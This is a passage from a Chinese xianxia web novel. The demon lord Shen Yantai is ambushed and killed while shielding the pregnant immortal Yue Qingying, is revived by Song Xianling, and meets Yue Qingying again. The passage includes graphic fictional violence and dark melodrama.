惦记着家里的月轻盈,沈砚台有些呆不住了,交代了一番后,旋身消失。 回去的路上,他去采了些灵果,灵花,带回了凡间,找了经常合作的老手艺人,揣着小零嘴就回去了。 然而等他带了医馆,才发现这里有打斗的痕迹,安排用来保护月轻盈的魔物们也不见了。 “该死的老东西!” 沈砚台用心头血寻找月轻盈的位置。 转瞬来到了一处树林。 古树繁密,枝叶交缠,细碎的太阳光渗透进来,幽幽暗暗。 还未走进,便听到了交谈声。 “你们听到传言了吗?” “吃了月轻盈的孩子就可以飞升成神。” “真的假的?” “当然是真的。” “据说,月轻盈有天骨之姿,天骨遗传,搞不好那消失的天骨会遗传到他孩子的身上呢!” “所以说吃了月轻盈的孩子可不就是一步登天,立地成神了吗!” “我说呢,怪不得你们要花费这么大的力气也要抓住这个月轻盈。” “看看,他被绑在这个木架上,等会我们剖腹取子后就杀了他!” 沈砚台轻轻剥开遮掩了视线的树叶。 就见他最在乎的那个人,被架在木架上,手脚被束缚,单薄的身影,挺着的大肚子瞩目。 而此刻那孕育着小生命的肚子,竟是被扒了衣服,裸.露了出来,脆弱的不堪一击。 只要这些贼人,拿刀在上面轻轻一划,必会皮开肉绽。 沈砚台眼圈猩红,魔气随着他的心情焦躁不安,深沉暴虐。 他一个猛冲,就将刚才那个几个大言不惭的人尽数灭口。 就在他抓住最后一个人,想要虐暴这个人的头时,一道颤抖带着惊恐地声音出现。 “你在干什么?沈砚台!” 是月轻盈! 沈砚台猛地回头,就见月轻盈完好无损的站在不远处,怀里抱着雪月兔。 沈砚台怔然,转头去看木架,眼一错,木架上面绑着的是稻草人。 是障眼法。 他中计了。 还是最毒的挑拨离间计。 他看着满脸苍白的月轻盈,来不及解释,捏爆手中的人,便向他走过去。 “走,这里危险……” “别碰我!”月轻盈甩开沈砚台的手,满目心寒,“你为什么又杀人……” 月轻盈心痛极了。 三日期限已到。 他没有克制住,还是想来见见江源说的一千二百多号修士。 在来的路上遇见了雪月兔,将他抱起亲昵一番,走来看见的便是沈砚台屠杀正道修士的一幕。 被他刻意尘封,不想回忆的过去再度攻击他。 小川,小河,小宵……都是他的心魔。 沈砚台再度当着他的面杀人,比剜心还让他痛。 “你根本没有悔悟之心,你根本就是在骗我。” 见他情绪激动,沈砚台满眼复杂,原来他们二人都中了幻术。 眼下这个地方不适合解开误会,他已经察觉到危险在逼近。 他乞求他,开口求饶道:“你别生气,等我们离开这里再说好不好?” “为什么要离开这里,你是想掩盖自己的罪恶吗?” 月轻盈痛苦落泪,终于是坚守不住,说出了真心话。 “我……我喜欢你啊!我真的希望你能改变,可是你一次次反悔,一次次骗我,我该如何是好,拿你如何是好!” 他伸手抱住肚子,“当日你在医馆说不喜欢孩子,我很难过,我想让你成为他们的爹, 你就是他们的爹,为什么,你总是无恶不作!不给我退路,不给你自己退路!” 月轻盈崩溃大喊,歇斯底里的样子,看的沈砚台眼圈都红了,欣喜又心酸。 他喜欢他。 他说他喜欢他。 刀剑的反光就在脸侧,多重脚步声在靠近,沈砚台无视这些威胁,竟然是笑了。 如释负重般的笑了。 “我一直都想得到你的谅解,想你能像喜欢石墨那样喜欢我。” “现在你说喜欢我,我还觉得有些不真实,但是我好开心。” 沈砚台抬手在月轻盈身边下了一个结界,“盈盈,我会用我的命护你生还。” 他的话刚一落音,就有箭矢朝他射来,他大部分魔气都用在增加保护月轻盈的结界上,躲闪不及,脸颊立刻出现一道血痕。 他就站在结界前,以自己为防线,谁都不能伤害他和月轻盈。 但他终究食言了。 他就是个靶子,铺天盖地的箭矢朝他射来,他的魔气分散,顾及不到的地方总会被箭矢射穿。 “真疼。”沈砚台脸色煞白,唇边溢出血,腿一软,反手抽刀,手抵刀柄就是不跪。 “当年用剑伤你,逼你就范,我真是该死。” 月轻盈看着这突如其来的变故,再看看以身为城墙护他,却身受重伤千疮百孔的沈砚台,哭泣大喊。 “你快逃啊!” “说什么傻话,我是你的夫君,是孩子的爹爹,这时候我不保护你们反而逃走,我还是个男人吗。” 先前的箭矢攻击已经消失,随着戾声传来,几百道人影出现在周围,成了个包围圈。 月轻盈见状,看着沈砚台佝偻下去的背影,心急如焚,知道他撑不了多久,他痛哭着拍打结界。 “你放我出来,我们一起承受,沈砚台,我求求你!” 沈砚台闻言,深情眼看他,嘴角含笑一脸满足,他抬手,一层浓墨似的雾气遮掩住了月轻盈的视野。 他什么都看不到了。 月轻盈心猛地一跳,这一幕极其熟悉。 石墨死的时候,他也是这样,不让他看。 沈砚台这是干什么! “不要,不要!”慌乱害怕焦急让月轻盈方寸大乱,他用头去撞结,用手去扣挖结界,直到将自己惹得遍体鳞伤,这层结界仍是牢固的坚不可摧。 “沈砚台,我不要你死!”月轻盈大哭,但语气里的绝望宣泄着他的无计可施。 “沈砚台,沈砚台,沈砚台!”这样的呼唤一直持续,一直持续。 沈砚台将月轻盈保护好后,这才有精力对付偷袭的人。 他视线在来的这些人山上扫视了一圈,正道,魔族,狐,狼,蛇……什么人都有。 “一群乌合之众,还不是胆小怕死的废物,这么多人纠集起来对付我一个,我沈砚台真是荣幸。” “死到临头还敢嘴硬。” “为了保护月轻盈你已经很吃力,还要分散精力对付我们,沈砚台大话说多了就成了狼来了。” “啊,你们快点,我已经迫不及待想要杀了沈砚了!” “哈哈哈,我们杀了沈砚台,我们也能做魔尊了!” “荒谬,蝼蚁就该有蝼蚁的样子,在地上爬就一直在地上给我爬着!” 沈砚台甩手扔刀,刀刃迅速插进其中一人的喉咙,很快那人便断了气。 这一击,给了这些人不少的刺激,对待沈砚台又谨慎了几分。 纷纷祭出自己的全部实力。 察觉到他们的认真,沈砚台魔气翻涌,嚣张傲然:“来啊,蝼蚁们!” 就在他说完话的下一秒,忽然,空中想起一道凤凰啼叫的声音。 宋先灵驾驭着鸟族族宝凤凰喙姗姗来迟。 沈砚台见到他,怔然,接着便是释然。 他欠食灵花一条命,欠宋先灵情,他对不起他们。 宋先灵恨他也是他有意为之。 今日,宋先灵和这些人为伍来取他的性命,他无怨无悔。 他瞬间放弃了所有的反抗。 宋先灵走近他,满目深寒,“是不是你让人灭了我鸟族满门。” 沈砚台摇头,“对不起,没来得及……” “没来得及杀了我是吗?”宋先灵打断他的话。 沈砚台张唇,随即苦笑,他闭上眼,长叹了一声,“来吧。” 宋先灵再不手软。 凤凰的啼叫生生不息。 而就在此时,围观的其他人也在此刻蜂拥而至。 不知道过了多久。 被架在空中的沈砚台,被虐的体无完肤,断臂断腿,被拔了舌,挖了眼。 左眼还是他苦苦哀求,才让这些人给他留下的。 沈砚台说,“我死前,还想再看他最后一眼。” 这些人当时哈哈大笑,满是捉弄。 结界消失的时候,月轻盈从枯坐中惊醒,他立刻环顾四周。 再见到不成人样的沈砚台的时候,眼泪啪嗒啪嗒掉落。 沈砚台见他哭,鼻尖也泛酸,见他额角流血,手指甲脚指甲全断还在流血,亦是满目热泪。 “啊……” 他张口想问他疼不疼,这才反应过来,自己已经没了舌。 他后悔。 不该逞一时嘴快,或许求求这些人还能让他说说话。 “你怎么了……” 月轻盈脚步颠婆,朝着沈砚台靠近,泪水模糊了视线,他伸手去抓沈砚台的衣角。 想将他扶下来,但是偷袭的人的灵力却是将沈砚台控制的分毫不动。 月轻盈心死,知道沈砚台今日无活路,颤抖唇瓣泪水汹涌,话都来不及说。 江源从这些人身后走出,“仙尊,我们已经帮你控制住沈砚台了,大仇得报的日子到来,你快点动手给他最后一击。” 月轻盈仰头看着沈砚台,眼泪无声掉落,手指紧紧揪住他的衣角。 沈砚台知道他不愿,冲他摇摇头,唇瓣动了动,“杀了我……” 月轻盈见状,痛不欲生。 江源手里握着一把刀递到了月轻盈的手里,“快啊,你不杀他,遭罪的可是他。” 月轻盈握紧了刀柄,如论如何都下不了手。 沈砚台冲他笑,他哭的急切。 江源没了耐心,握着月轻盈的手,将刀子送进了沈砚台的心脏。 原本跳动的心脏,几息间骤停。 沈砚台的头缓缓下垂。 揣在他胸口,没送出去的小零嘴砸了月轻盈满脸。 月轻盈怔然后心痛至极,手不住颤抖,他看着没了气息的沈砚台,痛苦后悔崩溃心慌,哭的失去了意识,最后昏死过去。 沈砚台死了。 这一消息在修真界流传。 修真界正道开始恢复,建宗门的收学徒的,法热闹非凡。 魔道还是和以前一样,暴虐杀戮,只是群龙无首,他们被正道抓去了不少人。 用去做试药的药人,要去做正道新弟子陪练的狗,用去泄.欲…… 月轻盈则是被江源带回了月华宫。 名义上是希望他激做回仙尊,实则是看守。 因为沈砚台的死,月轻盈整个人沉寂了下来,每日就只坐着发呆,摸着肚子落泪。 江源本想从他口中套出天骨的下落,但戏要做足,一直带着好人的面具给月轻盈时间。 这日,江源又来和月轻盈聊天,见月轻盈不理他,灰溜溜地走了。 看着他的背影,月轻盈收回视线,起身,慢慢踱步,到处走走。 走到了绝仙台。 他不是要一死了之,只是很挂念沈砚台。 绝仙台上方的天空可以看到修士自己都不知道的记忆。 他坐在绝仙台,心酸难受,一边落泪一边伸手拨开了上方的云雾。 记忆浮现。 出现的画面确实让他愕然。 是鲜活的沈砚台,是活在他记忆里的沈砚台。 画面里。 他失去所有想要寻死,魂魄都不想留之际,原来是沈砚台救了他。 帮他扛命雷,用自己的魂珠温养他的。 凉国古国的百姓死后,是沈砚台用自己的精血和修为救活了他们。 一桩桩一幕幕…… 月轻盈看的落泪不已。 直到最后的画面,让他整个人愣住了。 树岭里的仙兽不是沈砚台杀的! 古国凉国的百姓亦不是他杀的! 仙兽是江源等人所为,为了吸取仙兽的鲜血修炼! 古国凉国百姓是宋先灵杀的,为的是让他和沈砚台心生嫌隙。 原来自己……误会了他这么多。 沈砚台真的在改,真的在弥补,真的想变成他喜欢的样子。 “沈砚台……”月轻盈的哭声,呼啸在山谷,悲怆哀伤。 第75章 第75章 产期临近(万字章送上)…… “让开!” 月轻盈站在月华宫的门口, 对拦住他的两个守卫喝道。 这些人现在尊江源为首,没有他的首肯,他们是不能放人的。 且这些人还顾及着他身上的天骨, 更加不敢让他到处乱跑。 “月仙尊, 您现在有孕在身, 到处走动可能会对身体不好。” “我的身体我知道,让开!” 沈砚台死后,他就没在出过月华宫,一开始他是想去祭奠沈砚台。 可他是魔, 他死了也算是前尘愁怨恩消云散。 直到他刚才知晓了真相, 他才会这样心疼,迫切的想见见他。 哪怕是他的尸体! 思及此, 月轻盈没了耐心不愿在跟守门的纠缠,直接拍出一掌, 便飞身而出。 守门两人见势不妙,一人追着他, 一人去禀报给江源。 来到沈砚台陨落的树林, 月轻盈忽然有些害怕。 他步伐慢下来, 一点点上前。 随处可见的血,让他潸然落下, 立在沈砚台死时的地方,地面上还散落着, 蒙了一层灰的小零嘴。 “原来他不知不觉中竟然是做了这么多。” 月轻盈鼻翼翕动, 眼泪滑落。 等他来到沈砚台身死处,地上却没有他的尸体。 那一片血污泥泞地,上面开满了一层白色的食灵花。 “怎么会是花……” 太过惊愕,月轻盈哭声带着委屈, “怎么会是花呢?” 他扑上去,跪在花前,双手不敢触碰,但当他碰到花朵的脆弱感,他哭的更凶了。 “沈砚台去哪里了。” 他拂开这些花,害怕这些花是魔花,吞噬了沈砚台的尸体。 他发疯似的将这些花拨了扯乱,还是没有见到沈砚台的身影。 “沈砚台。”月轻盈捧着花抵在心口,哭着大喊沈砚台的名字。 脑海中一遍遍想起沈砚台迁就他,满足他,对他好,喊他夫人的画面。 他看着满地的花丛无从下手,无从去救。 若哪怕还有他的尸体,他都能想办法去救救他。 “沈砚台我不要你死,你死了,三个孩子怎么办……我怎么办……” 月轻盈哭的眼睛快要瞎了。 他没有注意到,不远处的一处草丛中躲藏着一分钱,他手中扯着的便是沈砚台的尸体。 听够了月轻盈的哭声,宋先灵悄无声息带走了沈砚台。 他的住处。 他将沈砚台放在自己的石床上,亦是满目疮痍。 “你怎么死了还不让我忘记你。” “你死后身体里开出那些花,不就是你送我的那些花。” “你还在对不对?” 宋先灵想起因为一个名字,就导致他们二人分离的事,揪心不已。 “为什么不告诉我他是谁……”宋先灵一边落泪一边喃喃。 “你还在沈砚台的体内家吗?” “我就这样保存着沈砚台的尸体,相当于你还在我身边好不好?” 宋先灵唇瓣颤抖,借着沈砚台的面皮思念着故人。 “开的花很漂亮,我很喜欢。” 宋先灵眼泪落地越来越急,“对不起,是我害了你。” “要是我在忍忍,时间再久些,是不是我们就不是这个样子了?” 宋先灵眼神落在沈砚台的脸上,目光眷念温柔。 正道修建事宜还是日程上。 时间的推移,月轻盈的肚子也越来越大,产期临近。 江源的耐心也快没有了。 他带月轻盈回来,是为了天骨,不是为了养魔尊的野种,等着他们来日再祸害正道苍生。 这日。 月轻盈坐在绝仙台上,看着云层上的属于沈砚台部分的真相。 因为伤心过度,思念成疾,他整个人很快消瘦了下去。 圆润巴掌大的小脸,瘦骨脱相,能看见他变地尖巧的下颌。 眉间都是风雪,双眼无神,唇瓣惨淡没有一点颜色。 终日穿着的白衣不在仙气飘飘,却像是丧服,唯有腹间的浑圆让他看起来还有一些人气。 “仙尊,这个绝仙台到底有什么好看的?” 绝仙台上的记忆,只有修士自己本人可以看见。 江源的问话,月轻盈丝毫不想回,他原是不知道江源歹毒,待他还算有礼。 现在知道他杀了树岭里的仙兽后,看见他装出的和善的嘴脸,越发觉得他阴狠残忍。 江源一直在耳边念叨,同他说话,提到最多的是天骨。 他还是不愿意放弃天骨吗。 天骨不在他身上,这句话他说了很多遍。 也罢,他竟然不相信,他便任由他去猜测,等他把孩子生下来,便计谋出逃。 他想了很多。 江源却在这时候问,“仙尊,您是万年来第一个身有天骨的修士,您是不是真的有天骨遗传。” 月轻盈想着逃跑事宜,没有细听,随口应了一声是。 江源一听,眼睛发亮,把目光落在月轻盈的肚子上。 眼神惊疑不定,很久之后,他才露出一些满意之色。 “如此便好,那我便不打扰仙尊了。” 江源一走,月轻盈才朝着他离开的方向看了一眼,接着,伸手拂开周边的空气。 嫌弃厌恶江源,毫不遮掩。 江源回到月华宫的主殿。 脚下一排投靠他的弟子,匍匐跪拜,他极其享受,道:“最近可有什么需要帮助的地方?” 修士们你看看我,我看看你,难以启齿状,最后一人挺身,出言桀骜。 “江长老,您杀了魔尊沈砚台,是修真界正道的救世主,我们愿拜入您门下,也算是把您当做了可与月轻盈相比的仙尊。” “正道百废待兴为重,清理杂乱的人也得加紧处理啊。” 这是再说宋先灵等魔族。 不巧,刚想跟江源提离开的宋先灵,在这个节点到来。 他站在门外,脚步一顿,屏气凝神。 江源道:“除了此事可还有其他要说的?” 众修士无言。 江源沉吟了一声,“宋先灵只鸟族的嫡长子,且他的手中还有凤凰喙这等宝物,你们也是见过它的威力的,放走这样一个有利的宝物,实在令人揪心啊。” “江仙尊所言甚是,可是……咱们与宋先灵的血海深仇可也不能忘了啊。” 一修士道:“鸟族覆灭的事,可千万不能让宋先灵知道是我们干的。” 宋先灵闻言,神魂震颤,脸色惨白,原来屠杀了鸟族的人是这些人! 他血气翻涌,就想冲进去和他们拼了,余光中忽然见到了一株夹缝生存,迎风摇曳的小白花。 他立刻想起了沈砚台,灵台平静了下来,也不再冲动。 “既然江仙尊看中了鸟族的凤凰喙,那咱们便将其夺来,为我们所用。” 听到此处的宋先灵闭闭眼,转身,背影带着深重的杀意,举步艰难的走了。 他来到自己的住处,看着身体恢复成原身的赤色蛟龙,将其变小,撸在怀里,带着婢女,连夜逃出了月华宫。 婢女一脸懵然:“少爷,咱们这是去哪?” 她还回头看了看月华宫,不明白他们呆的好好地为什么要走。 “是这些人杀了我们鸟族的人。”宋先灵声音不平稳,极力压抑住恨意。 婢女眼泪落了下来,伸手死死地捂住了嘴,唯恐自己的声音会惊动正道的人引来杀身之祸。 宋先灵看了他一眼,“无妨,这仇我们一定会报!” 婢女连连点头,呜咽不止。 他们现在逃难,肯定不能回鸟族,亦不能在正道的管辖范围内,思来想去,宋先灵还是去了三不管。 用灵石买下了一间足以住人的石窟。 宋先灵和婢女便在这里安身立命,寻求报仇的方法。 宋先灵花了大量的灵石,打探纠集人马是否能与现如今崛起的正道相敌的人。 所有人的回答都是一样,得有过命的交情才会助他。 宋先灵疲惫不堪,如此乱世,哪有人肯为他上刀山下火海。 脑海中,忽然闪现出沈砚台的脸庞,他一愣,瞬间回到了石窟。 婢女正在打扫石窟,见他气喘吁吁地跑回来,还以为发生了什么事。 “少爷,发生了什么事吗?” 宋先灵无暇估顾及她,错开她后便将踹在他心口的赤色蛟龙拿出来摆在石床上。 他像是抓住了唯一的救命稻草一样,对着沈砚台的原声念叨,“我只有你了,我只有你了,无论如何,我都要救活你!” 他的话还没有落音,就被一阵杂乱的脚步声给惊动了。 “啊……你们是谁!”婢女看着床进来的妖人,狼人,蛇等妖物,吓得花容失色。 宋先灵将沈砚台的尸体保护好,也转头看过去。 “把你们身上的钱交出来。”这些人不怀好意,凶神恶煞。 宋先灵一听,明白过来,该是前些日子,他拿出大量灵石打探消息,被这些人给盯上了。 三不管地带的人都是不怕死的,能活下来,肯定都是在刀山火海滚过的。 宋先灵不想引来麻烦,便给了他们钱,给完后,这些人仍不知足。 “真的没钱了?” 宋先灵示弱,“没有了,求你们放过我们吧。” “这点钱哪够我们几个花啊?” 说着这些人的眼睛手脚不干净起来,在不大的石窟里翻找着。 这一举动,惊到了婢女,她泪眼婆娑躲在宋先灵一旁。 她的一个举动,立刻引起了这些人的注意。 “呦,这里还有一个漂亮的小娘们。” 婢女脸色立刻就白了,看见伸过来的手,惊慌失措地喝道。 “你们干什么!” “这娘们不错,看着也干净,卖出去估计能有不少钱,这娘们我们看上了,要带走,你没有意见吧?” 宋先灵看着这些人丑恶的嘴脸,内心的愤怒翻涌,手紧握成拳。 下一刻,他就见这些人亮出了兵器。 死! 寡不敌众,他们会死! 现在的宋先灵极其怕死。 他不是怕自己死,他是怕自己死了之后,鸟族的血海深仇就没人报仇了。 权衡利弊间,他冷漠异常。 一旁的婢女着急落泪,她看出他有将她丢弃的想法,她跪下来,痛哭着,苦苦哀求。 “少爷,你不要让他们把我带走,我会死的。” “少爷。”婢女一个接一个磕头,伸手死死拽着宋先灵的衣摆。 “少爷,我还有用的,我还能帮到你的!” “少爷,我要是也走了,你就真的只剩下一个人了!” “少爷!”婢女的哀求哭泣声,逼得宋先灵于心不忍,可是,他的家族仇恨更是不能忘。 宋先灵猩红着眼,狠心,用死力,将婢女的手从自己的衣摆上一根根扯开。 “少爷!”婢女心如死灰大喊。 妖族的人看了一场戏,嘻嘻哈哈的带走了婢女。 婢女的哭声好似还在盘旋,看着满地的杂乱,宋先灵承受不住似的,软了手脚。 他倒在地上,眼眶猩红,喉头哽咽,抱臂哭了出来。 没过多久,他便擦了泪,重新捧出赤色蛟龙,眼里都是坚定,他一定要救活沈砚台。 沈砚台已经死透了。 原身都显现了,普通的救人法子已经行不通了。 宋先灵吸着鼻子,看着沈砚台的原身无从下手,“不会的,我已经失去了所有,什么都没有了,肯定会有办法的 ” “我……我还有钱,我去买,我去问,对,肯定有人知道的。” “小蓝……你……”宋先灵没有头绪,下意识地找婢女,可他一回头,看着空荡荡的石窟,眼泪再度落下。 他愣过后,眼神坚定,捧着灵石出了门。 没多久他回来了,带回来药汤给赤色蛟龙喝,他等啊等,人都憔悴了,蛟龙还是没有生气。 不久后,他又捧着灵石出门,这次带回来了神树木。 还是不行…… 日复一日,终于,赤色蛟龙的胸腹有了起伏! 宋先灵见状一愣,接着便是喜极而泣,这哭声里夹杂太多的风霜和痛苦。 可是还是不行。 “为什么,为什么他还是不醒?”宋先灵又去问那个让沈砚台有了生机的人。 那人说:“赤色蛟龙虽是活了,可是没有精气的延续,无法温养他受损的身体,他有气无力自然醒不过来。” “精气……” 宋先灵懂了,颓然往地上一坐,难道是把婢女卖了的报应,这次他终于要出卖自己了。 石窟里开始变地热闹。 为了积攒人气,宋先灵每天和不同的人双修,为了让精气有效的传送进沈砚台的体内。 他便将石床隔开,中间隔着一张布帘,他白皙细痩的手腕便露在外面,将精气输送给周身萦绕着魔气的赤色蛟龙身上。 宋先灵每天都在期待沈砚台的苏醒。 每天和不同的人双修。 他亦不知道,他在三不管已然出了名,欺负他的人变多。 他记不得哪个人了,竟然坏心眼给他喂了一颗孕丹。 看着自己大起来的肚子,沈砚台疯魔似地哭嚎起来。 “哈哈哈哈,命运弄人,哈哈哈哈,我想要的怀孕生子,终于给我了,可是却是这样的,我恨,我好恨啊!” 他发疯般捶打自己的肚子,可是这肚子里的孩子也不知道是谁的种,每日依附他,吸他的精气越长越大。 那喂他孕丹的人又来欺负他的那天,宋先灵怨恨,拼命反抗。 再被打的快要失去意识时,一道庞大的魔气肆意恒生。 流氓暴毙,鲜血溅了宋先灵一脸,他呆愣愣地看着沈砚台一脸漠然,放下施法的手,歪头,无辜地问他,“你是谁。” 这一刻,当自己已经死了的宋先灵,仿若觉得自己又活了。 醒了! 沈砚台醒了! 那一天,石窟里爆发出了一直持续地痛哭声。 “报仇!” 这是沈砚台苏醒后,宋先灵给他灌输的第一个念头。 许是雏鸟情节,沈砚台相当依赖宋先灵,跟前跟后说什么都听说什么都信。 一开始宋先灵还很戒备,直到发现他彻底的失忆后,才敢更放肆的传输报仇杀人的念头给他。 “你还会死吗?” 带着沈砚台打杀了以前欺负他骗他的人的宋先灵,问起了沈砚台。 沈砚台点头,伸手指着心脏,“这个。” “你是说你这里受伤你就会死?” “那能不能把他拿下来,这样你就不会死了。” 宋先灵玩笑般的一句话,沈砚台傻乎乎照做了。 他忍着剧痛,拿下了自己的心,还活地好好的。 宋先灵一愣,随即呢喃道:“没了心好啊,无情无义才会不痛苦。” “我们是谁?”沈砚台还是有些好奇以前的自己的,便问了出来。 宋先灵就开始说,“你是高高在上,被人陷害跌入谷底的魔尊,我是你的妻子,我还有一个婢女……” “对了,婢女!” 宋先灵想起来婢女,立刻带着沈砚台在三不管找了起来。 “死了,人早就死了!”收留了婢女的老鸨,哭着说:“那丫头鸟族,长得漂亮,三不管什么人都有,一天她忙着呢,谁知道就这么死了。” 宋先灵眼眶热泪翻滚。 婢女和他命运同样,却比他孱弱,竟然是死了吗? 他对不起她。 他伸出手,紧紧揪住沈砚台的衣袖,“杀了他们,帮我杀了他们!” “你别哭,好。”沈砚台紧张地看着他,伸手往空中一窝,团团炸开的血雾如绽放的烟花。 至此之后。 宋先灵和沈砚台在三不管,一边报仇一边收人,他们的队伍在壮大,渐渐地三不管成了他们的囊中物,势头也越来越强硬。 魔尊沈砚台复活,踩着血路回归,再回尊座! 魔尊沈砚台复活的消息在三界五行里散开,很快传到了修真界正道人士的耳朵里。 很多人都抱着不相信的态度,但听着魔尊已三不管为大本营,先后收纳了其他几族做麾下,不日打上修真界,这些人才开始慌了。 月华宫。 江源和他的弟子们,脸色凝重,为了应对魔尊沈砚台复活一事,展开对策。 “你们说,沈砚台复活这件事是不是真的?” “说起来,沈砚台死时,咱们是不是没有销毁他的尸体,他的魂魄我们也没有处理。” “怎么可能呢,死了的哪有可能复活?” “我们根本是别有用心的人打着魔尊沈砚台复活的幌子招摇撞骗吧。” “我看这件事有蹊跷,还是派人出去查探一番比较好。” “怕什么,就算是真的沈砚台,只要咱们有凤凰喙,他就是来找咱们,也无计可施。” “宋先灵逃了。” “什么,那凤凰喙……” 众人各有说辞,江源被吵得头疼,这场会议毫无意义,一点解决的头绪都没有商量出来。 “说到宋先灵,到底是谁走漏了风声,才会让他悄无声息地带着凤凰喙逃走了?” “这……” 大殿里鸦雀无声。 他们谁都没有说,那边是宋先灵自己发觉了什么。 “让人再去调查,如果真的是沈砚台来复仇,咱们也得有个应对。” “是。” 修真界正道不再安稳。 宋先灵带着沈砚台先后收复了先前散乱的魔族魔物。 大闹正道宗门宗派,将那些被关押利用的魔人救出。 受创的正道宗门宗派,见沈砚沈砚台是真的复活了,立刻将消息传达出去。 正道修士人心惶惶。 被沈砚台所掌控的黑暗日子,再度唤醒了他们的心理阴影。 江源亦做不到无动于衷,更加迫切的想要知道天骨的下落。 可是,月轻盈的产期还有一段时间,又不能剖腹取子,否则仙气散,天骨遗传不降临,那就是功归一溃。 他只能等待。 在绝仙台日服一日坐着的月轻盈,还是那么的憔悴消瘦。 近日,月华宫的纷闹他也有所耳闻,他没怎么上心,直到他察觉到一丝躁动不安的气氛才察觉出不对劲。 破天荒地他从绝仙台走了出去。 遇见的每个人都神色惶惶,嘴里念叨着,杀过来了。 “什么杀过来了?” 他一出声,其他人便朝他看了过来,躁动被安抚,趋于安静。 正道修士们看着月轻盈有些反应不过来,他整日在绝仙台,时间一长,所有人都快遗忘他了。 这日他的出现,出声,让这些人的思绪都有些反应不过来。 片刻后,这些人再度喧闹了起来。 “是月轻盈!” “是月仙尊!” “是他!” “对啊,月仙尊还怀着魔尊沈砚台的孩子呢!” “咱们有救了,咱们不会死了!” 看他们疯疯癫癫的模样,月轻盈有些茫然,“你们在说什么?” 修士们集体安静了下来。 有一个贪生怕死的修士,道出了实情,“魔尊沈砚台……复活了,现在正在养精蓄锐准备攻打这里。” 沈砚台复活这五个字占据了月轻盈所有的心神。 “什……么!” 他不可置信,心脏钝痛,让他鼻尖发酸,他紧紧盯着说话的修士,追问道。 “你说的都是真的吗?” 修士有些犹豫地点点头,“外面都是这样传的。” “原来是传言……”月轻盈有些失望。 但绝仙台云层上空关于沈砚台的记忆,实在难以抵消思念之苦。 “他在哪?”月轻盈不想放弃,眼圈泛红就想去见见他。 “在三不管。” “喂,你说的太多了!”有一个修士阻拦。 那修士脸色发白,“你想死吗,要是被江仙尊知道了,你会没命的。” “江仙尊,江源?”月轻盈眼里划过嘲讽,但他此刻只想去见见魔尊沈砚台。 他问清楚三不管在哪,便易容乔装打扮了一番去寻。 三不管。 最大最杂乱的城镇中,有一座最繁华的城池,中心最大的楼宇便是现在沈砚台和宋先灵的住处。 三不管已然是他们的天下,这里的人都喊他们为魔尊尊后。 以前的三不管没有制度,弱肉强食,现在有了沈砚台和宋先灵,有了制度,这里没有以前的那么乱了。 还开设了小摊子,城里有才艺的魔人妖怪也做起了营生。 若不是他们有法术,和凡间的集镇没有区别。 月轻盈一身黑衣,脸上带着面纱,在这鱼龙混杂的城池里混了进去。 只是,他在这里没有门路,想要见到魔尊沈砚台南难上登天。 无法,他只能等到晚上。 万籁俱寂。 月轻盈轻手轻脚,隐藏自己的气息来到了楼宇之上。 偌大的楼宇都点着灯,无奈,他便一间间寻找过去。 到了楼顶,最后的一间房间里,他感受到了熟悉的气息。 这段时间许是察觉到他伤心,他肚子中的孩子也安分的很。 这一刻,确实不断的踹起了他的肚子,仿佛再说,娘亲,是爹爹。 月轻盈唇瓣颤抖,双眼紧紧注视着那扇阻隔了两人,禁闭的门扉,泪水模糊了视线。 “是你吗?” “谁?” 不曾想,他喃喃地一句低语,竟是被听见了。月轻盈呼吸猛地一窒,好熟悉的声音,是他! 沈砚台! 他站在原地不动,看着门窗上倒映着的高大的身影,正一步步朝他走来。 见面了,他会说什么。 会不会怪他对他见死不救。 会不会怪他软弱,在他快要死了之际,自己只会哭。 会不会……不要他了。 吱呀一声门响,看着门缝里展露出来的人影,月轻盈却是退缩了。 他身影一闪,立刻消失了。 沈砚台只见一道黑影闪过,愣过之后刚想去追,却被人给叫住了。 “砚台,你在这干什么,是出了什么事吗?”宋先灵来看看沈砚台的状态。 沈砚台回头,冲他笑笑,“没什么,出来透透气。” 宋先灵点头,自然地走进他的屋里,“我还以为你是刻意出来等我的。” 沈砚台跟上去,反手将门关上,在闭合的那一刻,他突然停顿了一下。 刚才的空气里的香味很是熟悉,是谁来了吗? 脑海里空空荡荡,什么也想不起来,屋内宋先灵在和他说话。 啪,一声,他将房门合上。 坐在月梢上的月轻盈,抱着不停鼓动的肚子,泣不成声。 “是你,沈砚台,你还活着。” “真好,真好。” 月轻盈坐了一夜,看着沈砚台的屋子好像永远都不会腻。 翌日一大早,宋先灵先出门,沈砚台慢悠悠跟了出来。 知道他不会往自己这边看,月轻盈还是胆小地藏了起来。 肚子大了,他蜷缩起来的时候还顶到了,疼得他直哭。 可是下一秒,他却笑了起来。 能见到沈砚台什么疼都不疼。 在他不知道的时候,沈砚台突然朝他在的方向看了一眼。 月轻盈等了等,探出脑袋,想要再看看沈砚台。 没成想,下一秒,一道低沉的声音在他身后响起。 “鬼鬼祟祟在这里干什么?” 紧接着,一道罡风从自己的背后袭来,这一招有八分实力。 月轻盈一惊,怕伤到孩子,强行扭身逃跑,再下一个袭击来临前,他开口求饶。 “住手,我……我只是崇拜你,最近我的孩子要出来了,我想请你给他们取名字。” 这个借口太荒谬,沈砚台出掌的动作一顿,“取名字?” “是,取名字。”月轻盈伸手抱着肚子,眼也不眨地贪恋的看着沈砚台的脸。 瘦了。 眉宇更加锋利了。 不开心的时候眉头果然还是喜欢皱着。 可是…… 为什么你活着却不来找我。 果然是在怪我吗? 月轻盈心堵酸涩的差点吐血。 “你是谁?” “我……我就是三不管的一个无名路人,最近魔尊接管三不管,让我们的日子也好过起来,我很感激魔尊。” “给孩子取名字这件事,应该是你丈夫的责任,怎么来找我?” 沈砚台眯眼看着月轻盈的肚子,而后挑眉,三个,厉害啊。 “我夫君他失踪了,孩子都快出生了也还没有他的消息,不想孩子可怜,便来求魔尊了。” 沈砚台沉默了一会儿,“我也不会。” 月轻盈噗嗤笑出来,眼里却是带着泪,“不知道魔尊愿不愿意和我一起,给孩子取个名字?” 沈砚台皱眉,觉得哪里很怪,可又不知道哪里怪。 他看着眼前穿着黑衣,脸上带着面纱的人,没有从他身上察觉出杀气,便信了他一半的话。 “孩子取名事宜,我记住了,但我现在有事,等我回来再说。” 沈砚台说着要走,月轻盈看着他的背影万般不舍,本来都要哭了,却见他又折返回来。 “你叫什么?” 月轻盈张唇,片刻后,“我叫念君。” “思君念君的意思。” 沈砚台看了他一眼,迅速离去。 重新见到他,月轻盈心脏砰砰跳,不想就这样放任他走了。 